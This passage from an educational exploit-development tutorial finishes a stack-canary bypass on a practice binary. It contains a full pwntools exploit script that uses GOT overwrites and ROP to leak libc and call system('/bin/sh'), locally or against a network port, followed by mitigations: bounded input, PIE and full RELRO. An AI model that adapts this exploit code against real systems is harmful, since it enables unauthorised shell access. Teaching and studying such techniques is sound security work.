pwndbg> search "/bin/sh" => 0x7fb0b9394d57
bin_sh_offset = 0x7fda54c56d57 - 0x7fb0b928c130 (libc_malloc_leak)
bin_sh_address = libc_leak + bin_sh_offset

At this point, we have all information to call system('\bin\sh').

But the fundamental problem is we can’t control our input at this point.

Jump back to main()

However, if we jump back to main(), then again, we can control our input.

1
pwndbg> print main => 0x00000000004007b8

image-20190727150248410

Replace 0xdeadbeef with the address of main().

We need to take control of the RIP again through canary corruption, but this time, during stack step up, we call system('\bin\sh') instead of calling puts().

1
python exploit_v06.py -m true local -b vuln -g true

continue the program and get the /bin/sh shell.

Move to tmux left panel => ctl + b + left arrow key.

image-20190727160056643

The Shell

Run the exploit in standalone mode without debug and gcc attached.

1
python exploit_v06.py local -b vuln
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#!/usr/bin/env python2

# author: greyshell

import argparse

from pwn import *

context(os='linux', arch='amd64')
context.terminal = ['tmux', 'splitw', '-h']  # run the local binary in tmux session


class UserInput:
    def __init__(self):
        # create the top-level parser
        self.parser = argparse.ArgumentParser(
            description="linux binary exploitation")

        # optional arguments
        self.parser.add_argument("-m", "--debug_mode", metavar="", choices=["true", "false"],
                                 help="enable the debug mode, choices = {true, false}, default=false")

        # based on the dest argument subparsers will be selected
        self.subparsers = self.parser.add_subparsers(title="commands", dest="command",
                                                     help="[command] --help for more details")

        # create a sub parser for the local binary
        self.local_parser = self.subparsers.add_parser("local", description="exploit local binary",
                                                       help="exploit local binary")
        self.local_parser.add_argument("-b", "--binary", metavar="",
                                       help="provide the binary kept in the same directory",
                                       required=True)
        self.local_parser.add_argument("-g", "--gdb", metavar="", choices=['true', 'false'],
                                       help="attach gdb in tmux session, choices = {true, false}, default=false")
        self.local_parser.set_defaults(func='local')

        # create a sub parser for the binary running on network
        self.local_parser = self.subparsers.add_parser("network", description="exploit network binary",
                                                       help="exploit network binary")
        self.local_parser.add_argument("-i", "--ip_address", metavar="",
                                       help="provide ip_address",
                                       required=True)
        self.local_parser.add_argument("-p", "--port", metavar="",
                                       help="provide port",
                                       required=True)
        self.local_parser.set_defaults(func='network')


# noinspection PyUnresolvedReferences,PyUnresolvedReferences
def exploit(conn):
    """
    exploit code
    :param conn:
    :return:
    """
    conn.recvuntil("name:\n")  # receive bytes till name:
    input_name = "A" * 24
    input_name += p64(0x000000000060101f)  # heap_pointer = overwrite from .GOT puts() last byte => 0x000000000060101f
    input_name += p64(0x00000000004008c3)  # pad address = 0x00000000004008c3 : pop rdi ; ret
    input_name += p64(0x0000000000601030)  # canary: argument of `puts()` => `0000000000601030` -> .GOT malloc()
    input_name += p64(0x0000000000400610)  # EBP = PLT address of puts => `0000000000400610`
    input_name += p64(0x00000000004007b8)  # some return address: address of main(), last byte = null
    #  strip the last byte, sendline() will add \n and it will be treated as null byte
    conn.sendline(input_name[:-1])

    conn.recvuntil("description:\n")  # receive bytes till description:
    input_des = "\x00"  # fixing the puts() GOT last byte
    input_des += p64(0x00000000004008bb)  # 0x00000000004008bb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
    # sendline() will add \n at the end, the \n will overwrite memset() GOT 1st byte
    # as memset is not used in the code later so it should not be any issue
    # 0x00000000004008bb => last byte is null.
    conn.sendline(input_des[:-1])  # strip last byte, due to \n, a null will be added automatically

    libc_leak = u64(conn.recvn(6) + '\x00\x00')  # as libc address last two bytes are null 
    print "[+] libc_address => malloc(): ", hex(libc_leak)

    # system() = 0x7fda54b0f390
    system_offset = 0x7fda54b0f390 - 0x7fda54b4e130
    system_address = libc_leak + system_offset

    # /bin/sh => 0x7fda54c56d57
    bin_sh_offset = 0x7fda54c56d57 - 0x7fda54b4e130
    bin_sh_address = libc_leak + bin_sh_offset

    # loop back to main()
    conn.recvuntil("name:\n")  # receive bytes till name:
    input_name = "A" * 24
    input_name += p64(0x000000000060101f)  # heap_pointer = overwrite from .GOT puts() last byte => 0x000000000060101f
    input_name += p64(0x00000000004008c3)  # pad address = 0x00000000004008c3 : pop rdi ; ret
    input_name += p64(bin_sh_address)  # canary: argument of system() => '/bin/sh'
    input_name += p64(system_address)  # RBP: call system()

    conn.sendline(input_name)  # a null will be added automatically

    conn.recvuntil("description:\n")  # receive bytes till description:
    input_des = "\x00"  # fixing the puts() GOT last byte
    input_des += p64(0x00000000004008bb)  # 0x00000000004008bb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
    conn.sendline(input_des[:-1])  # To prevent overwriting memset's got's first byte

    # make the connection interactive
    conn.interactive()


def main():
    my_input = UserInput()
    arguments = my_input.parser.parse_args()
    connection = ""

    # run the script without any argument
    if len(sys.argv) == 1:
        my_input.parser.print_help(sys.stderr)
        sys.exit(1)

    # exploiting local binary
    if arguments.command == 'local':
        binary_name = "./"
        binary_name += arguments.binary
        connection = process([binary_name])
        # attach the binary with gdb in tmux session
        if arguments.gdb == 'true':
            gdb.attach(connection)

    elif arguments.command == 'network':
        connection = remote(arguments.ip_address, arguments.port)

    if arguments.debug_mode == 'true':
        context.log_level = 'debug'

    # invoke the exploit function
    exploit(connection)


if __name__ == '__main__':
    main()

image-20190727160539468

Exploit the binary when it is running on a port

Create the following config file(i.e canary02) inside /etc/xinetd.d directory to expose the binary on 127.0.0.1:9001.

1
2
3
4
5
6
7
8
9
10
11
service canary02
{
    type = UNLISTED
    protocol = tcp
    socket_type = stream
    port = 9001
    wait = no
    server = /home/asinha/Dropbox/pentest/code_dev/exploit_dev/linux_binary_exploit/canary_bypass_02/vuln
    server_args = not_applicable
    user = asinha
}
Description Commnad
Start the service sudo service xinetd start
Verify if the service has been started netstat -antp && grep 9001
Exploit the binary python exploit06.py network -i 127.0.0.1 -p 9001

Conclusion

We can prevent this exploitation by restricting the input within the size of the buffer.

1
2
3
4
puts("Enter name:");
scanf("%19s", c.name);  // as the size of the `name` variable is 20 bytes
puts("Enter description:");
scanf("%99s", c.description); // as the size of the `description` is 100 bytes

We can also use extra compiler options to make the exploitation hard.

  1. PIE protection : program load address is randomised that prevents to calculate the system() offset from any libc leak.
  2. full_relro protection : .GOT is not writable.
1
2
3
4
5
6
7
8
9
10
11
(playbook) ╭─asinha@ubuntu01 ~/exploit-dev/vampire_class/bypass_canary_02
╰─$ gcc -fpie -pie -Wl,-z,relro,-z,now -o vuln_hardened vuln.c

(playbook) ╭─asinha@ubuntu01 ~/exploit-dev/vampire_class/bypass_canary_02
╰─$ checksec vuln_hardened
[*] '/home/asinha/exploit-dev/vampire_class/bypass_canary_02/vuln_hardened'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Reference